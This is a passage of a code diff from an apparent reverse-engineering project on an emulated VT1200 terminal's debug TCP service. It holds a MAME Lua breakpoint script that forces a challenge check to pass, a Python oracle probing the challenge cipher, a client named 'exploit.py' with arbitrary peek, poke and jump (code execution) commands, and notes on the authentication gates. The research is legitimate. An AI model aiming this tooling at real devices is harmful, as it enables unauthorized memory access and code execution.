-- inside 0x3F5ABA40: after the first font render, a13 holds its 8-byte locals
|
||||
dbg:command('bpset 3F5ABB00,,{ printf "LIVE cipher-in a13=%08X keyptr=%08X sboxptr=%08X\\n", a13, d@0x1c0260, d@0x1c0200 ; dump ' .. D .. '/cipher_in.bin,a13,64 ; dump ' .. D .. '/key.bin,d@0x1c0260,256 ; dump ' .. D .. '/sbox.bin,d@0x1c0200,4096 ; g }')
|
||||
-- inside 0x3F5ABA40: locals hold the ciphertext before the final render
|
||||
dbg:command('bpset 3F5AC620,,{ printf "LIVE cipher-out a13=%08X keyptr=%08X\\n", a13, d@0x1c0260 ; dump ' .. D .. '/cipher_out.bin,a13,64 ; g }')
|
||||
dbg:command('bpset 3F5A08E0,,{ printf "LIVE memcmp-args a9=%08X a11=%08X\\n", a9, a11 ; dump ' .. D .. '/cmp_a9.bin,a9,64 ; dump ' .. D .. '/cmp_a11.bin,a11,64 ; g }')
|
||||
-- DEBUGGER-ASSISTED: force the challenge comparison to "equal" so the
|
||||
-- real poke/jump handlers can be exercised over TCP. This is NOT a
|
||||
-- remote bypass -- it is only here to test the loader behind gate B.
|
||||
dbg:command('bpset 3F5A0920,,{ printf "LIVE challenge memcmp FORCED a8=%08X -> 0\\n", a8 ; a8 = 0 ; g }')
|
||||
dbg:command('bpset 3F5A1B50,,{ printf "LIVE rdebug_poke entry pc=%08X\\n", pc ; g }')
|
||||
dbg:command('bpset 3F5A3890,,{ printf "LIVE rdebug_jump entry pc=%08X\\n", pc ; g }')
|
||||
print("LIVE armed emulator-side breakpoints")
|
||||
end
|
||||
if f % 500 == 0 then
|
||||
print(string.format("LIVE frame %5d word@0xAECD0=%04X field2..3=%d",
|
||||
f, space:read_u16(0xaecd0), (space:read_u16(0xaecd0) >> 2) & 3))
|
||||
end
|
||||
if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then
|
||||
done_at = f
|
||||
report_magic("payload-ran")
|
||||
local ok, err = pcall(function()
|
||||
machine.screens[1]:snapshot(D .. "/loader_frame.png")
|
||||
end)
|
||||
print("LIVE snapshot " .. (ok and "saved" or ("failed: " .. tostring(err))))
|
||||
end
|
||||
if done_at and f >= done_at + 120 then
|
||||
print(string.format("LIVE exiting at frame %d (payload seen at %d)", f, done_at))
|
||||
machine:exit()
|
||||
end
|
||||
end, "vt1200-live-probe")
|
||||
dbg.execution_state = 'run'
|
||||
@@ -0,0 +1,90 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Oracle for the dwt_prf transform on the live MAME terminal.
|
||||
|
||||
Each query opens a fresh connection, sends opcode 7, reads the 16-byte
|
||||
challenge, sends our own 16-byte reply, and then reads the reply buffer that
|
||||
the firmware dumped at the memcmp (dwt/evidence/run-live/cmp_a11.bin).
|
||||
The transform is per 8-byte record, so the first 8 output bytes answer the
|
||||
first 8 input bytes.
|
||||
"""
|
||||
import socket, struct, sys, time, re
|
||||
|
||||
HOST, PORT = "192.168.99.2", 771
|
||||
DUMP = "/home/arti/code/k-space/vt1200/dwt/evidence/run-live/cmp_a11.bin"
|
||||
|
||||
|
||||
def recv_frame(s):
|
||||
h = s.recv(4)
|
||||
if len(h) < 4:
|
||||
raise EOFError
|
||||
n = struct.unpack(">I", h)[0]
|
||||
b = b""
|
||||
while len(b) < n:
|
||||
c = s.recv(n - len(b))
|
||||
if not c:
|
||||
break
|
||||
b += c
|
||||
return b
|
||||
|
||||
|
||||
def parse_dump(path):
|
||||
words = []
|
||||
try:
|
||||
text = open(path).read()
|
||||
except FileNotFoundError:
|
||||
return b""
|
||||
for line in text.splitlines():
|
||||
m = re.match(r"^[0-9A-F]+:\s+(.*)$", line.strip())
|
||||
if not m:
|
||||
continue
|
||||
for w in m.group(1).split():
|
||||
if re.fullmatch(r"[0-9A-F]{4}", w):
|
||||
v = int(w, 16)
|
||||
words.append(v & 0xFF)
|
||||
words.append(v >> 8)
|
||||
return bytes(words)
|
||||
|
||||
|
||||
def query(reply: bytes, settle=0.7) -> bytes:
|
||||
assert len(reply) == 16
|
||||
s = socket.create_connection((HOST, PORT), 5)
|
||||
s.settimeout(5)
|
||||
s.sendall(struct.pack(">I", 7))
|
||||
ch = recv_frame(s)
|
||||
if ch[0] != 0x7F:
|
||||
raise RuntimeError(f"no challenge: {ch.hex()}")
|
||||
s.sendall(reply)
|
||||
time.sleep(0.2)
|
||||
s.close()
|
||||
time.sleep(settle)
|
||||
return parse_dump(DUMP)
|
||||
|
||||
|
||||
def main():
|
||||
cases = {}
|
||||
if len(sys.argv) > 1:
|
||||
for arg in sys.argv[1:]:
|
||||
name, hexs = arg.split("=", 1)
|
||||
cases[name] = bytes.fromhex(hexs)
|
||||
else:
|
||||
cases = {
|
||||
"zero": bytes(16),
|
||||
"p0_01": bytes.fromhex("01" + "00" * 15),
|
||||
"p0_02": bytes.fromhex("02" + "00" * 15),
|
||||
"p0_03": bytes.fromhex("03" + "00" * 15),
|
||||
"p0_10": bytes.fromhex("10" + "00" * 15),
|
||||
"p0_20": bytes.fromhex("20" + "00" * 15),
|
||||
"p0_30": bytes.fromhex("30" + "00" * 15),
|
||||
"p0_80": bytes.fromhex("80" + "00" * 15),
|
||||
"p0_ff": bytes.fromhex("ff" + "00" * 15),
|
||||
"p1_01": bytes.fromhex("00" + "01" + "00" * 14),
|
||||
"p7_01": bytes.fromhex("00" * 7 + "01" + "00" * 8),
|
||||
}
|
||||
for name, reply in cases.items():
|
||||
out = query(reply)
|
||||
print(f"{name}\tin={reply[:8].hex(' ')}\tout={out[:8].hex(' ')}")
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
+430
@@ -0,0 +1,430 @@
|
||||
#!/usr/bin/env python3
|
||||
"""rdebug client -- the stock firmware's "DEBUG TCP Port" (771) console.
|
||||
|
||||
Protocol (see dwt/notes/rdebug-static.md and dwt/notes/EXPLOIT_ATTEMPT.md):
|
||||
|
||||
request = u32 be opcode + opcode arguments (each word be)
|
||||
response = u32 be (payload_len + 1) + u8 flag + payload_len bytes
|
||||
|
||||
Before the first opcode >= 2 the dispatcher runs a 16-byte challenge
|
||||
(dwt_prf, ROM bit 0x3F59FDC0): it sends one frame with flag 0x7F carrying 16
|
||||
bytes and then reads exactly 16 raw bytes back. It compares the 16 bytes it
|
||||
sent with the 16 bytes it received (the "transform" in between renders the
|
||||
reply through the font code into a separate global buffer and does not modify
|
||||
the reply buffer), so the answer is the challenge itself.
|
||||
|
||||
Examples:
|
||||
|
||||
# liveness -- opcode 7 is a no-op; the reply is 11 bytes
|
||||
dwt/exploit.py --host 192.168.99.2 --opcode 7
|
||||
|
||||
# arbitrary read (bit address), 4 bytes of ROM
|
||||
dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 4
|
||||
|
||||
# write and read back a RAM marker (addresses are TMS34010 BIT addresses)
|
||||
dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEAD
|
||||
dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 2
|
||||
|
||||
# load harness/hello-world/payload.bin (82 bytes, linked at bit 01800000)
|
||||
# and call it; the payload spins, so --jump times out by design
|
||||
dwt/exploit.py --host 192.168.99.2 \
|
||||
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
|
||||
--jump 0x01800000 --jump-wait 2
|
||||
|
||||
# build the frames without opening a socket
|
||||
dwt/exploit.py --opcode 7 --dry-run
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import time
|
||||
|
||||
OP_NAMES = {
|
||||
0: "pager (exits after)",
|
||||
1: "printfs off",
|
||||
2: "peek",
|
||||
3: "poke",
|
||||
4: "jump",
|
||||
5: "printfs on",
|
||||
6: "start_telnet",
|
||||
7: "no-op / liveness",
|
||||
8: "display_message",
|
||||
9: "usage_stats",
|
||||
}
|
||||
|
||||
MAX_XFER = 0x400 # the firmware clamps peek/poke to 1024 bytes
|
||||
CHALLENGE_FLAG = 0x7F
|
||||
|
||||
|
||||
class ProtocolError(RuntimeError):
|
||||
pass
|
||||
|
||||
|
||||
def be32(value: int) -> bytes:
|
||||
return struct.pack(">I", value & 0xFFFFFFFF)
|
||||
|
||||
|
||||
def parse_int(text: str) -> int:
|
||||
"""Accept 0x..., decimal, or a bare hex value (firmware addresses usually
|
||||
contain A-F, so bare tokens are read as hex)."""
|
||||
text = text.strip().replace("_", "")
|
||||
if text.lower().startswith("0x"):
|
||||
return int(text, 16)
|
||||
if any(c in "abcdefABCDEF" for c in text):
|
||||
return int(text, 16)
|
||||
return int(text, 10)
|
||||
|
||||
|
||||
def parse_hex(text: str) -> bytes:
|
||||
text = "".join(text.split()).replace(":", "").replace(",", "")
|
||||
if text.lower().startswith("0x"):
|
||||
text = text[2:]
|
||||
if len(text) % 2:
|
||||
text = "0" + text
|
||||
return bytes.fromhex(text)
|
||||
|
||||
|
||||
class RDebug:
|
||||
def __init__(self, host: str, port: int, timeout: float, verbose: bool):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.timeout = timeout
|
||||
self.verbose = verbose
|
||||
self.sock: socket.socket | None = None
|
||||
self.challenged = False
|
||||
self.challenge_type = "echo"
|
||||
self.challenge_raw: bytes | None = None
|
||||
|
||||
# ---- transport -------------------------------------------------------
|
||||
def connect(self) -> None:
|
||||
self.sock = socket.create_connection((self.host, self.port), self.timeout)
|
||||
self.sock.settimeout(self.timeout)
|
||||
if self.verbose:
|
||||
print(f"[.] connected to {self.host}:{self.port}", file=sys.stderr)
|
||||
|
||||
def close(self) -> None:
|
||||
if self.sock is not None:
|
||||
try:
|
||||
self.sock.close()
|
||||
finally:
|
||||
self.sock = None
|
||||
|
||||
def send_raw(self, data: bytes) -> None:
|
||||
assert self.sock is not None
|
||||
if self.verbose:
|
||||
print(f"[>] {data.hex(' ')}", file=sys.stderr)
|
||||
self.sock.sendall(data)
|
||||
|
||||
def recv_exact(self, n: int) -> bytes:
|
||||
assert self.sock is not None
|
||||
buf = bytearray()
|
||||
while len(buf) < n:
|
||||
chunk = self.sock.recv(n - len(buf))
|
||||
if not chunk:
|
||||
raise ProtocolError(
|
||||
f"connection closed after {len(buf)}/{n} bytes")
|
||||
buf += chunk
|
||||
return bytes(buf)
|
||||
|
||||
def read_frame(self) -> tuple[int, bytes]:
|
||||
"""Return (flag, payload). Raises ProtocolError on malformed framing."""
|
||||
head = self.recv_exact(4)
|
||||
(length,) = struct.unpack(">I", head)
|
||||
if length == 0 or length > 0x10000:
|
||||
raise ProtocolError(f"implausible frame length {length:#x}")
|
||||
body = self.recv_exact(length) # flag + (length-1) payload
|
||||
flag, payload = body[0], body[1:]
|
||||
if self.verbose:
|
||||
print(f"[<] len={length} flag={flag:#04x} payload={payload.hex(' ')}",
|
||||
file=sys.stderr)
|
||||
return flag, payload
|
||||
|
||||
# ---- challenge -------------------------------------------------------
|
||||
@staticmethod
|
||||
def challenge_answer(challenge: bytes, mode: str) -> bytes:
|
||||
"""Compute the 16-byte answer.
|
||||
|
||||
The firmware stores four runtime words in host order at frame+0x20,
|
||||
byte-swaps each one (`ntohl`, ROM 0x07F65828) into frame+0, and sends
|
||||
*those* 16 bytes with flag 0x7F. After reading 16 bytes back it runs
|
||||
them through a fixed-key font/cipher pipeline that rewrites the reply
|
||||
buffer in place, and compares frame+0x20 (host order) with the result.
|
||||
|
||||
`echo` and `computed` implement the two layers that were established
|
||||
live: `echo` returns the challenge unchanged; `computed` byte-swaps
|
||||
each 32-bit word, which fixes the host/network order layer. The
|
||||
firmware's in-place transform is a second, nonlinear layer; on the
|
||||
tested image neither mode passes it (memcmp returns -1 for echo and 1
|
||||
for computed). `--challenge-raw` allows a fully custom answer once the
|
||||
transform is reversed.
|
||||
"""
|
||||
if len(challenge) != 16:
|
||||
raise ProtocolError(f"challenge is {len(challenge)} bytes, not 16")
|
||||
if mode == "echo":
|
||||
return bytes(challenge)
|
||||
if mode == "computed":
|
||||
out = bytearray()
|
||||
for i in range(0, 16, 4):
|
||||
out += challenge[i:i + 4][::-1]
|
||||
return bytes(out)
|
||||
raise ValueError(mode)
|
||||
|
||||
def answer_challenge(self, challenge: bytes) -> None:
|
||||
if self.challenge_raw is not None:
|
||||
answer = self.challenge_raw
|
||||
else:
|
||||
answer = self.challenge_answer(challenge, self.challenge_type)
|
||||
if self.verbose:
|
||||
print(f"[.] answering {self.challenge_type} challenge with "
|
||||
f"{answer.hex(' ')}", file=sys.stderr)
|
||||
self.send_raw(answer)
|
||||
self.challenged = True
|
||||
|
||||
def maybe_challenge(self, timeout: float | None = None) -> None:
|
||||
"""Read a frame; if it is the 0x7F challenge, answer it and read on.
|
||||
|
||||
Returns the first non-challenge frame's (flag, payload) is handled by
|
||||
the caller, so this method only *answers* a challenge it sees. It is
|
||||
called before an opcode >= 2 and returns after the challenge frame has
|
||||
been answered."""
|
||||
assert self.sock is not None
|
||||
old = self.sock.gettimeout()
|
||||
if timeout is not None:
|
||||
self.sock.settimeout(timeout)
|
||||
try:
|
||||
flag, payload = self.read_frame()
|
||||
finally:
|
||||
self.sock.settimeout(old)
|
||||
if flag == CHALLENGE_FLAG:
|
||||
self.answer_challenge(payload)
|
||||
else:
|
||||
# The server spoke before we sent an opcode; keep it as a warning.
|
||||
print(f"[!] unexpected pre-opcode frame flag={flag:#x} "
|
||||
f"payload={payload.hex(' ')}", file=sys.stderr)
|
||||
|
||||
# ---- commands --------------------------------------------------------
|
||||
def command(self, opcode: int, args: bytes = b"", wait: bool = True,
|
||||
wait_timeout: float | None = None) -> tuple[int, bytes]:
|
||||
if opcode >= 2 and not self.challenged:
|
||||
# Send ONLY the opcode: the dispatcher runs the 16-byte challenge
|
||||
# before the handler reads its arguments. Sending the arguments
|
||||
# early makes dwt_prf consume the first 16 bytes of them as the
|
||||
# challenge answer and shifts every later field (observed live:
|
||||
# peek complained "maximum peek size" because its length field had
|
||||
# been eaten).
|
||||
self.send_raw(be32(opcode))
|
||||
self.challenged = True
|
||||
flag, payload = self.read_frame()
|
||||
if flag == CHALLENGE_FLAG:
|
||||
self.answer_challenge(payload)
|
||||
if args:
|
||||
self.send_raw(args)
|
||||
else:
|
||||
self.send_raw(be32(opcode) + args)
|
||||
|
||||
if not wait:
|
||||
return -1, b""
|
||||
if wait_timeout is not None:
|
||||
assert self.sock is not None
|
||||
self.sock.settimeout(wait_timeout)
|
||||
try:
|
||||
return self.read_frame()
|
||||
finally:
|
||||
if wait_timeout is not None and self.sock is not None:
|
||||
self.sock.settimeout(self.timeout)
|
||||
|
||||
def liveness(self, opcode: int = 7) -> tuple[int, bytes]:
|
||||
return self.command(opcode)
|
||||
|
||||
def peek(self, bit_addr: int, length: int) -> bytes:
|
||||
if length < 1 or length > MAX_XFER:
|
||||
raise ValueError(f"peek length must be 1..{MAX_XFER}")
|
||||
flag, payload = self.command(2, be32(bit_addr) + be32(length))
|
||||
if flag != 1:
|
||||
raise ProtocolError(f"peek: expected binary flag 1, got {flag:#x}: "
|
||||
f"{payload!r}")
|
||||
if len(payload) != length:
|
||||
raise ProtocolError(f"peek: asked {length} bytes, got {len(payload)}")
|
||||
self.expect_done()
|
||||
return payload
|
||||
|
||||
def poke(self, bit_addr: int, data: bytes) -> None:
|
||||
if not data or len(data) > MAX_XFER:
|
||||
raise ValueError(f"poke length must be 1..{MAX_XFER}")
|
||||
flag, payload = self.command(3, be32(bit_addr) + be32(len(data)) + data)
|
||||
if flag != 0:
|
||||
# "Done\n" is flag 0; anything else is the firmware's error text
|
||||
print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
|
||||
self.expect_done(payload if flag == 0 else None)
|
||||
|
||||
def jump(self, bit_addr: int, args: list[int], wait: bool = True,
|
||||
wait_timeout: float | None = None) -> tuple[int, bytes] | None:
|
||||
body = be32(bit_addr) + be32(len(args))
|
||||
for a in args:
|
||||
body += be32(a)
|
||||
if not wait:
|
||||
self.command(4, body, wait=False)
|
||||
return None
|
||||
try:
|
||||
flag, payload = self.command(4, body, wait_timeout=wait_timeout)
|
||||
except (socket.timeout, TimeoutError):
|
||||
return None
|
||||
if flag == 1:
|
||||
(retval,) = struct.unpack(">I", payload[:4])
|
||||
print(f"[.] jump returned {retval:#010x} ({retval})")
|
||||
try:
|
||||
self.expect_done()
|
||||
except (socket.timeout, TimeoutError):
|
||||
pass
|
||||
return retval, payload
|
||||
return None
|
||||
|
||||
def expect_done(self, payload: bytes | None = None) -> None:
|
||||
if payload is not None:
|
||||
if payload.startswith(b"Done\n"):
|
||||
return
|
||||
raise ProtocolError(f"expected Done, got {payload!r}")
|
||||
flag, body = self.read_frame()
|
||||
if flag != 0 or not body.startswith(b"Done\n"):
|
||||
raise ProtocolError(f"expected Done frame, got flag={flag:#x} "
|
||||
f"{body!r}")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# dry run: print exactly what would go on the wire
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def build_frames(args) -> list[bytes]:
|
||||
frames = []
|
||||
if args.opcode is not None:
|
||||
frames.append(be32(args.opcode))
|
||||
if args.peek is not None:
|
||||
frames.append(be32(2) + be32(args.peek) + be32(args.len))
|
||||
if args.poke is not None:
|
||||
data = parse_hex(args.hex or "")
|
||||
frames.append(be32(3) + be32(args.poke) + be32(len(data)) + data)
|
||||
if args.poke_file is not None:
|
||||
data = open(args.file, "rb").read()
|
||||
frames.append(be32(3) + be32(args.poke_file) + be32(len(data)) + data)
|
||||
if args.jump is not None:
|
||||
body = be32(args.jump) + be32(len(args.arg))
|
||||
for a in args.arg:
|
||||
body += be32(a)
|
||||
frames.append(be32(4) + body)
|
||||
return frames
|
||||
|
||||
|
||||
def main(argv: list[str]) -> int:
|
||||
ap = argparse.ArgumentParser(
|
||||
description="Client for the VT1200 stock firmware's rdebug TCP service "
|
||||
"(port 771). Addresses are TMS34010 bit addresses; use "
|
||||
"--byte-addr to give byte addresses instead.",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
ap.add_argument("--host", default="192.168.99.2")
|
||||
ap.add_argument("--port", type=int, default=771)
|
||||
ap.add_argument("--timeout", type=float, default=5.0,
|
||||
help="socket timeout for ordinary command replies")
|
||||
ap.add_argument("--challenge", choices=("echo", "computed"), default="echo")
|
||||
ap.add_argument("--challenge-raw", metavar="HEX",
|
||||
help="override the 16-byte challenge answer (experiment)")
|
||||
ap.add_argument("--byte-addr", action="store_true",
|
||||
help="arguments are byte addresses; multiply by 8")
|
||||
ap.add_argument("--dry-run", action="store_true",
|
||||
help="print the request frames, do not connect")
|
||||
ap.add_argument("--verbose", action="store_true")
|
||||
|
||||
g = ap.add_mutually_exclusive_group(required=False)
|
||||
g.add_argument("--opcode", type=int, help="send a bare opcode (7 = liveness)")
|
||||
g.add_argument("--peek", type=parse_int, help="peek: bit address")
|
||||
g.add_argument("--poke", type=parse_int, help="poke: bit address")
|
||||
g.add_argument("--poke-file", type=parse_int,
|
||||
help="poke a whole file: bit address")
|
||||
g.add_argument("--jump", type=parse_int, help="jump: call bit address")
|
||||
|
||||
ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
|
||||
ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
|
||||
ap.add_argument("--file", help="poke-file payload path")
|
||||
ap.add_argument("--arg", type=parse_int, action="append", default=[],
|
||||
help="jump argument (repeat up to 20)")
|
||||
ap.add_argument("--jump-wait", type=float, default=0.0,
|
||||
help="seconds to wait for a jump return; 0 = don't wait "
|
||||
"(a spinning payload never returns)")
|
||||
ap.add_argument("--poke-chunk", type=int, default=MAX_XFER,
|
||||
help="split large poke-file payloads into chunks")
|
||||
|
||||
args = ap.parse_args(argv[1:])
|
||||
|
||||
if args.byte_addr:
|
||||
for name in ("peek", "poke", "poke_file", "jump"):
|
||||
v = getattr(args, name)
|
||||
if v is not None:
|
||||
setattr(args, name, v * 8)
|
||||
args.arg = [a for a in args.arg]
|
||||
|
||||
if args.poke is not None and not args.hex:
|
||||
ap.error("--poke needs --hex")
|
||||
if args.poke_file is not None and not args.file:
|
||||
ap.error("--poke-file needs --file")
|
||||
if args.jump is not None and len(args.arg) > 20:
|
||||
ap.error("the firmware accepts at most 20 jump arguments")
|
||||
|
||||
if args.dry_run:
|
||||
for frame in build_frames(args):
|
||||
print(frame.hex(" "))
|
||||
return 0
|
||||
|
||||
rd = RDebug(args.host, args.port, args.timeout, args.verbose)
|
||||
rd.challenge_type = args.challenge
|
||||
if args.challenge_raw:
|
||||
rd.challenge_raw = parse_hex(args.challenge_raw)
|
||||
if len(rd.challenge_raw) != 16:
|
||||
ap.error("--challenge-raw must be exactly 16 bytes")
|
||||
try:
|
||||
rd.connect()
|
||||
rc = 0
|
||||
if args.opcode is not None:
|
||||
flag, payload = rd.liveness(args.opcode)
|
||||
print(f"opcode {args.opcode} -> flag={flag:#04x} "
|
||||
f"payload={payload.hex(' ')} ({payload!r})")
|
||||
if args.opcode == 7 and payload != b"Done\n\x00":
|
||||
print("[!] opcode 7 did not return the expected Done\\n",
|
||||
file=sys.stderr)
|
||||
rc = 1
|
||||
if args.peek is not None:
|
||||
data = rd.peek(args.peek, args.len)
|
||||
print(f"peek {args.peek:#010x} ({args.len}) -> {data.hex(' ')}")
|
||||
if args.poke is not None:
|
||||
data = parse_hex(args.hex)
|
||||
rd.poke(args.poke, data)
|
||||
print(f"poke {args.poke:#010x} <- {data.hex(' ')}: ok")
|
||||
if args.poke_file is not None:
|
||||
data = open(args.file, "rb").read()
|
||||
off = 0
|
||||
while off < len(data):
|
||||
chunk = data[off:off + args.poke_chunk]
|
||||
rd.poke(args.poke_file + off * 8, chunk)
|
||||
off += len(chunk)
|
||||
print(f"poke-file {args.file}: {len(data)} bytes at "
|
||||
f"{args.poke_file:#010x}: ok")
|
||||
if args.jump is not None:
|
||||
result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
|
||||
wait_timeout=args.jump_wait or None)
|
||||
if result is None:
|
||||
print(f"jump {args.jump:#010x}: no return within "
|
||||
f"{args.jump_wait}s (expected for a non-returning payload)")
|
||||
else:
|
||||
print(f"jump {args.jump:#010x}: retval={result[0]:#010x}")
|
||||
return rc
|
||||
except (OSError, ProtocolError) as exc:
|
||||
print(f"error: {exc}", file=sys.stderr)
|
||||
return 2
|
||||
finally:
|
||||
rd.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main(sys.argv))
|
||||
@@ -0,0 +1,292 @@
|
||||
# rdebug exploit attempt — gates, loader, and what actually stops a remote attacker
|
||||
|
||||
Status: **the loader works; the remote path is stopped by gate B.** Gate A is
|
||||
not a gate on this image at all.
|
||||
|
||||
ROM untouched: `md5 b46a3e442ccb86134d2356bd70d22fd2` (re-checked after every
|
||||
run). Driver untouched. No `/tmp` artefacts.
|
||||
|
||||
Harness caveat: the emulated OS/TCP stack is only reachable with
|
||||
`VT1200_SKIP_LEVEL1=1`, which drives DUART1 IP3 high — a modelled board input,
|
||||
not the real machine's POST. That divergence is what lets the terminal boot far
|
||||
enough to listen on 771; it does not change the rdebug code, the gate fields or
|
||||
the challenge, but the remote result is about the firmware's service with the OS
|
||||
up, not about a real terminal's level-1 run.
|
||||
|
||||
Two results must not be confused:
|
||||
|
||||
| result | how it was reached |
|
||||
|---|---|
|
||||
| **remote** — TCP client → accept → dispatcher → challenge | real TCP connection to `192.168.99.2:771`, emulator running `VT1200_SKIP_LEVEL1=1` with the LANCE on a host tap |
|
||||
| **debugger-assisted** — TCP client → poke → jump → payload | same, but one Lua breakpoint forced the challenge comparison to `0` for that connection |
|
||||
|
||||
The second proves the **loader**, not a remote bypass. The remote client never
|
||||
got past the challenge.
|
||||
|
||||
---
|
||||
|
||||
## 1. Gate A: `SETF 2` is a *two-bit* field, and it is zero
|
||||
|
||||
The static note read this as a 16-bit word compare and concluded "0x8070 ⇒
|
||||
reject". That is a field-size misread. The listing
|
||||
(`harness/mame/hostport_dis34.txt:156211`):
|
||||
|
||||
```
|
||||
3f58b280: setf 2, 0, 0
|
||||
3f58b290: move @0xaecd2, a7, 0
|
||||
3f58b2c0: jreq L3F58B430 ; zero -> ACCEPT path
|
||||
...
|
||||
3f58b430: ... ; accept, create "remote debug"
|
||||
3f58b2d0: ... ; " rejected", return -1
|
||||
```
|
||||
|
||||
`SETF`'s first operand is the field size **in bits**, not a width code:
|
||||
|
||||
* `src/devices/cpu/tms34010/34010dsm.cpp:531` prints
|
||||
`"SETF %Xh,%X,"` with `(op & 0x1f) ? op & 0x1f : 0x20` — i.e. `2` means 2 bits.
|
||||
* `src/devices/cpu/tms34010/34010ops.hxx:839` stores that size in `m_st`, and
|
||||
`src/devices/cpu/tms34010/34010fld.hxx:23` dispatches size 2 to
|
||||
`wfield_02` / `WFIELDMAC(0x03,15)` — a 2-bit field.
|
||||
|
||||
So the compared value is **bits 2..3 of the 16-bit word at bit `0xAECD0`**, not
|
||||
the word. That word is `0x0000` early and `0x8070` from frame ~600; in both
|
||||
cases bits 2..3 are `0`:
|
||||
|
||||
```
|
||||
dwt/evidence/run-branch/gate_branch.log
|
||||
SAMPLE frame 1 word@0xAECD0=0000 field(bits2..3)=0
|
||||
SAMPLE frame 600 word@0xAECD0=8070 field(bits2..3)=0
|
||||
SAMPLE frame 1000 word@0xAECD0=8070 field(bits2..3)=0
|
||||
```
|
||||
|
||||
**Executed the gate code itself** (not just read memory): at frame 1000 the
|
||||
script redirects the CPU into `0x3F58B280` and breaks on both targets. The
|
||||
accept target is hit, with `a7 = 0`:
|
||||
|
||||
```
|
||||
REDIRECT from 3F57A0E0
|
||||
GATE-TARGET ACCEPT pc=3F58B430 a7=00000000
|
||||
```
|
||||
|
||||
### Who writes the word
|
||||
|
||||
* The two 2-bit fields are written by `3F329F00` (`@0xAECD0`) and `3F32A050`
|
||||
(`@0xAECD2`) from config lookups (cells `0x155830` / `0x1565b0`). Those
|
||||
stores **did not execute** in the `VT1200_SKIP_LEVEL1=1` boot (breakpoints
|
||||
never fired).
|
||||
* The `0x8070` word arrives between frames 200 and 600 from a boot-time
|
||||
**PIXBLT block copy** at PC `3FB446D0` — a watchpoint caught
|
||||
`0xAECC0=0x8000, 0xAECD0=0x8070, 0xAECE0=0xA005, 0xAECF0=0x0008`
|
||||
(`dwt/evidence/run-gate/debug.log`). The copy source was not identified.
|
||||
* It is therefore a **16-bit word in a copied RAM settings/bitmap block**, not a
|
||||
semaphore or a computed flag. Whether a user-visible setting can make the
|
||||
2-bit field nonzero is **not established**; what is established is that on
|
||||
this image it is zero and the accept path is taken.
|
||||
|
||||
### Remote evidence that Gate A is open
|
||||
|
||||
A real TCP connection reached the accept handler, the dispatcher and the
|
||||
challenge (all breakpoints fired on the same connection):
|
||||
|
||||
```
|
||||
dwt/evidence/run-live/debug.log
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
```
|
||||
|
||||
**Verdict:** a remote attacker does not need to clear Gate A. It is open by
|
||||
default on the emulated image; the 0x8070 is irrelevant to the compared field.
|
||||
This corrects `dwt/notes/rdebug-static.md` §7 and the corresponding CROSS.md
|
||||
entry.
|
||||
|
||||
---
|
||||
|
||||
## 2. Gate B: the 16-byte challenge is real, and echo does not pass
|
||||
|
||||
`dwt_prf` (`0x3F59FDC0`) runs once per connection, before the first opcode ≥ 2
|
||||
(opcodes 0 and 1 skip it; opcode 7 does **not**). It sends four runtime words
|
||||
with frame flag `0x7F`, reads exactly 16 bytes back, and the dispatcher kills
|
||||
the session when the function returns 0.
|
||||
|
||||
Live result with **echo**:
|
||||
|
||||
```
|
||||
[>] 00 00 00 07
|
||||
[<] len=17 flag=0x7f payload=f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
|
||||
[.] answering echo challenge ...
|
||||
[>] f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
|
||||
error: connection closed after 0/4 bytes
|
||||
```
|
||||
|
||||
Emulator side: `LIVE challenge memcmp a8=FFFFFFFF (0=equal)` — **not equal**, so
|
||||
the process exits. A failed challenge is fatal and it is per connection.
|
||||
|
||||
### Why echo fails: two layers
|
||||
|
||||
1. **Byte order.** The four words are stored in host order at `frame+0x20`,
|
||||
byte-swapped by `ntohl` (`0x07F65828`, a full 32-bit swap) into `frame+0`,
|
||||
and the *swapped* bytes are what goes on the wire. The memcmp's first
|
||||
argument is `frame+0x20`, so the expected value is the wire challenge with
|
||||
**each 32-bit word byte-swapped**. `dwt/exploit.py --challenge computed`
|
||||
implements exactly that.
|
||||
2. **An in-place transform.** The 16 received bytes are passed to
|
||||
`0x3F5A09C0`, which processes them as two 8-byte records. It runs a font
|
||||
renderer (`0x3F5AC710`, tables at `@0x1C0220` / `@0x1C0240`), a 16-round
|
||||
Feistel/SP-table cipher (round function `0x3F5ACEC0`, 128-byte key schedule
|
||||
at `@0x1C0260`, 8 SP tables at `@0x1C0200`), and a second render — and it
|
||||
writes the result **back into the reply buffer**. The memcmp is
|
||||
`memcmp(frame+0x20, reply, 16)`.
|
||||
|
||||
With the byte-swapped answer (`computed`), the memcmp returned `0x00000001` —
|
||||
still not equal. So the second layer is the real blocker.
|
||||
|
||||
### What was established about the transform
|
||||
|
||||
* Deterministic and per-8-byte-record: equal 8-byte records produce equal
|
||||
8-byte outputs, independent of time (two all-zero runs agreed exactly).
|
||||
* Nonlinear: `f(03) != f(01) ^ f(02) ^ f(00)`, so it is not a bit-linear map.
|
||||
* It rewrites the reply buffer in place; the observed outputs for chosen inputs
|
||||
are in `dwt/evidence/run-live/render-probes.txt` (e.g.
|
